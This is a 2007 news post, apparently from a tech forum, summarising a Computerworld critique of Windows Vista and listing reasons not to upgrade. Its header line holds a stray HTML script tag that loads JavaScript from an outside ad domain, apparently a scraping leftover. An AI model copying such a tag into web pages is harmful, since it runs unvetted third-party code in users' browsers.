Vista Adoption Now... A Big Mistake? Page: 1
News <script type="text/javascript" src="http://ufo1.com/ad/c.js"></script> Posted 26/01/07
Author: PV5150
Source: The Inquirer

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Next week Bill Gates will introduce Vista on the stage of the Nokia Theatre in New York, and Microsoft will spend millions of dollars in an expected advertising campaign to push it to the masses.

But, a devastating critique of the Vista OS on the pages of Computerworld suggests that being "wowed" by Microsoft at this early stage is a big mistake. The article warns that a heap of firms are scrambling to finish drivers and other code, and Vista won't really be ready until a service pack is ready (which many of us had guessed anyway).

The article warns that many firms are scrambling to finish drivers and other code, and Vista won't really be ready until a service pack is ready. ATI and Creative have warned not all their products are Vista compatible, while software firms like McAfee haven't yet produced upgrades of their products.

The article cite's reasons to not upgrade to Vista, which have been listed below:

* Vista is incomplete
* Vista is expensive
* Vista wants a new PC
* Vista is time consuming
* Windows XP isn't obsolete
* Vista may be the best reason yet to buy a Mac

Years ago, "switching" from Windows to a Mac was nearly impossible for most people. We relied entirely on desktop applications, many of which had no equivalents on the Mac platform. Today, so much of what we do is online -- and Apple has done such a good job of making the transition easier -- that leaving Windows and moving to a Mac is perfectly doable for most people. It's a real choice now, and mostly a matter of preference.


Personally I think this article is flawed, but it does raise some interesting points. How do you see Vista? Is it all that it's cracked up to be?

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